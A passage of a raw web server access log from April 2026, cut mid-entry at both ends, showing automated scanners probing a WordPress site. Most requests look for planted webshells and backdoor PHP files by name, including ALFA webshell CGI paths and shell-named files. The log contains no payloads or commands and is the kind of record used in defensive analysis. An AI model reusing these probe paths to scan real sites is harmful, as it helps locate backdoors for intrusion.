Chrome/91.0.4472.124 Safari/537.36" 45.154.98.172 - - [26/Apr/2026:18:44:03 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 43.153.122.30 - - [26/Apr/2026:20:03:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.223.137.70 - - [26/Apr/2026:20:50:48 +0300] "GET /siln.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:53:43 +0300] "GET /wgift1.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:54:37 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:56:33 +0300] "GET /lco.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:57:43 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:57:47 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:59:14 +0300] "GET /wp4.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:02:15 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:03:22 +0300] "GET /bdroot.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:04:36 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:05:54 +0300] "GET /xtt.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:07:27 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:08:00 +0300] "GET /class-wp.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:08:12 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:08:33 +0300] "GET /lti.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:09:37 +0300] "GET /xda.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:10:59 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:12:21 +0300] "GET /less.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:14:00 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:15:16 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:16:02 +0300] "GET /tires.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:17:06 +0300] "GET /sko.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:17:56 +0300] "GET /class-db.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:19:26 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:20:13 +0300] "GET /wp-xml.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:20:34 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:20:47 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:21:39 +0300] "GET /ouh.php HTTP/1.1" 301 795 "-" "-" 42.83.147.55 - - [26/Apr/2026:22:25:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/74.0.3729.169 Safari/537.36" 139.59.0.80 - - [26/Apr/2026:23:00:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 45.154.98.172 - - [26/Apr/2026:18:44:02 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 4.223.137.70 - - [26/Apr/2026:20:49:50 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:52:15 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:55:17 +0300] "GET /r4f_1.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:57:20 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:58:22 +0300] "GET /usep.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:02:47 +0300] "GET /mds.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:04:27 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:04:44 +0300] "GET /hans.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:05:08 +0300] "GET /file1.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:06:57 +0300] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 43.153.79.218 - - [26/Apr/2026:21:06:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.223.137.70 - - [26/Apr/2026:21:07:00 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:07:16 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:09:53 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:11:44 +0300] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:12:31 +0300] "GET /clirp.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:12:43 +0300] "GET /domains.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:14:44 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:17:16 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:17:20 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:17:24 +0300] "GET /fileas.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:19:31 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 83.99.206.96 - - [27/Apr/2026:00:00:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; GeedoShopProductFinder) Chrome/142.0.0.0 Safari/537.36" 45.154.98.172 - - [26/Apr/2026:18:44:03 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.172 - - [26/Apr/2026:18:44:03 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 4.223.137.70 - - [26/Apr/2026:20:51:42 +0300] "GET /raw.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:52:39 +0300] "GET /n3.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:52:47 +0300] "GET /wp-aaa.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:52:51 +0300] "GET /wp-kd4xalrg7m.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:52:54 +0300] "GET /mo.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:53:10 +0300] "GET /wp-xrm.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:54:08 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:55:10 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:56:13 +0300] "GET /wp-at.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:56:16 +0300] "GET /hk.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:58:51 +0300] "GET /v4.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:00:18 +0300] "GET /wp-acc.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:00:47 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:01:38 +0300] "GET /row.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:02:34 +0300] "GET /wp-Blogs.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:02:54 +0300] "GET /hey.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:03:44 +0300] "GET /444.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:05:00 +0300] "GET /an7.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:07:36 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:09:58 +0300] "GET //x.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:10:42 +0300] "GET /mws.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:12:56 +0300] "GET /wkdec.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:13:18 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:14:22 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:15:55 +0300] "GET /yas.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:17:00 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:19:58 +0300] "GET /academy.php HTTP/1.1" 301 795 "-" "-" 31.57.184.104 - - [26/Apr/2026:18:44:24 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 182.44.67.97 - - [26/Apr/2026:20:29:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.223.137.70 - - [26/Apr/2026:20:50:25 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:50:33 +0300] "GET /AxAo.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:51:15 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:51:26 +0300] "GET /about3.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:53:17 +0300] "GET /wp-asudo.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:54:20 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:54:55 +0300] "GET /about25.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:55:50 +0300] "GET /file30.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:57:53 +0300] "GET /z.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:59:22 +0300] "GET //wp.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:00:28 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:00:39 +0300] "GET /031.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:01:52 +0300] "GET /555.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:03:06 +0300] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:04:10 +0300] "GET /bnm.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:05:30 +0300] "GET /wp_ok.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:05:37 +0300] "GET /wp-admin/maint/wp-is.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:06:00 +0300] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:06:48 +0300] "GET /file88.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:06:51 +0300] "GET /xenon1337.php HTTP/1.1" 301 795 "-" "-" 188.226.59.70 - - [26/Apr/2026:21:07:21 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4.223.137.70 - - [26/Apr/2026:21:08:19 +0300] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:08:27 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:09:23 +0300] "GET /xmu.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:09:29 +0300] "GET /shelp.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:09:42 +0300] "GET /pucci.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:10:21 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:11:56 +0300] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:11:59 +0300] "GET /hook.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:12:02 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:12:05 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:15:49 +0300] "GET /cc13.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:16:45 +0300] "GET /yellow.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:17:45 +0300] "GET /wolv2.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:19:03 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:19:18 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:19:37 +0300] "GET /ccu.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:19:41 +0300] "GET /ffile.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:19:43 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:19:47 +0300] "GET /popo.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:53:49 +0300] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:56:49 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 136.144.43.40 - - [26/Apr/2026:20:56:59 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/120.0.1" 136.144.43.46 - - [26/Apr/2026:20:57:00 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15) Gecko/20100101 Firefox/121.0" 4.223.137.70 - - [26/Apr/2026:20:57:28 +0300] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:57:35 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:00:01 +0300] "GET /xrp.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:00:12 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:02:40 +0300] "GET /card.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:03:14 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:04:16 +0300] "GET /himu.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:05:19 +0300] "GET /luxe.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:06:43 +0300] "GET /pouhg.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:07:53 +0300] "GET /cvrvk.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:11:18 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:14:13 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:14:36 +0300] "GET /wp-cliner.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:14:38 +0300] "GET /v3.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:17:29 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:18:10 +0300] "GET /wp-sx10.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:18:57 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:21:21 +0300] "GET /opts.php HTTP/1.1" 301 795 "-" "-" 31.57.184.107 - - [27/Apr/2026:01:44:31 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:119.0) Gecko/20100101 Firefox/119.0" 194.26.192.17 - - [27/Apr/2026:00:48:59 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 194.26.192.141 - - [27/Apr/2026:02:37:27 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.157.170.126 - - [27/Apr/2026:03:00:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.46.229.170 - - [27/Apr/2026:02:34:06 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 138.2.156.101 - - [27/Apr/2026:02:57:39 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 194.26.192.17 - - [27/Apr/2026:00:48:45 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 194.26.192.141 - - [27/Apr/2026:02:37:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.26.192.141 - - [27/Apr/2026:02:37:27 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 194.26.192.141 - - [27/Apr/2026:02:37:37 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 216.244.66.194 - - [27/Apr/2026:02:03:39 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 194.26.192.141 - - [27/Apr/2026:02:37:27 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.26.192.141 - - [27/Apr/2026:02:37:27 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 17.22.245.156 - - [27/Apr/2026:03:04:59 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 62.60.130.231 - - [27/Apr/2026:03:06:16 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 194.26.192.17 - - [27/Apr/2026:00:49:09 +0300] "GET /cgi-bin/postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 172.212.188.103 - - [27/Apr/2026:04:00:20 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:00:29 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:02:26 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:02:27 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:02:30 +0300] "GET /input.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:02:40 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:02:44 +0300] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:04:15 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:04:22 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:04:24 +0300] "GET /chosen HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:04:28 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:04:33 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:04:37 +0300] "GET /02.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:08 +0300] "GET /fi2.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:12 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:16 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:19 +0300] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:22 +0300] "GET /text.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:25 +0300] "GET /f.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:36 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:37 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:18 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:22 +0300] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:26 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:28 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:29 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:08:03 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:11:41 +0300] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:13:07 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:13:11 +0300] "GET /12.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:13:24 +0300] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:16:02 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:16:06 +0300] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:16:58 +0300] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:18:28 +0300] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:18:41 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:19:31 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:21:21 +0300] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:21:24 +0300] "GET /wp-includes/pomo/fgertreyersd.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:22:50 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:22:51 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:01:12 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - 